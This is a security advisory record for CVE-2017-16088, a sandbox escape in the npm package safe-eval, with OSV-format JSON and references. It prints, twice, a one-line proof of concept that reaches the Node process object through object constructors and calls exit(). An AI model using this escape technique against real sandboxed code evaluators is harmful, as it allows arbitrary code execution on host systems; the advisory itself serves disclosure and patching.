GHSA-WW6V-677G-P656
Vulnerability from github – Published: 2018-07-18 18:28 – Updated: 2023-09-11 22:19
VLAI?
Summary
Sandbox Breakout in safe-eval
Details
Affected versions of safe-eval are vulnerable to a sandbox escape. By accessing object constructors, un-sanitized user input can access the entire standard library and effectively break out of the sandbox.
Proof of Concept:
This code accesses the process object and calls .exit()
var safeEval = require('safe-eval');
safeEval("this.constructor.constructor('return process')().exit()");
Recommendation
Update to version 0.4.0 or later
Severity ?
10.0 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "safe-eval"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-16088"
],
"database_specific": {
"cwe_ids": [
"CWE-610"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T22:01:17Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "Affected versions of `safe-eval` are vulnerable to a sandbox escape. By accessing object constructors, un-sanitized user input can access the entire standard library and effectively break out of the sandbox. \n\n## Proof of Concept:\nThis code accesses the process object and calls `.exit()`\n```js\nvar safeEval = require(\u0027safe-eval\u0027);\nsafeEval(\"this.constructor.constructor(\u0027return process\u0027)().exit()\");\n```\n\n\n## Recommendation\n\nUpdate to version 0.4.0 or later",
"id": "GHSA-ww6v-677g-p656",
"modified": "2023-09-11T22:19:18Z",
"published": "2018-07-18T18:28:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16088"
},
{
"type": "WEB",
"url": "https://github.com/hacksparrow/safe-eval/issues/5"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/issues/59"
},
{
"type": "WEB",
"url": "https://github.com/hacksparrow/safe-eval/pull/13"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-ww6v-677g-p656"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/337"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Sandbox Breakout in safe-eval"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…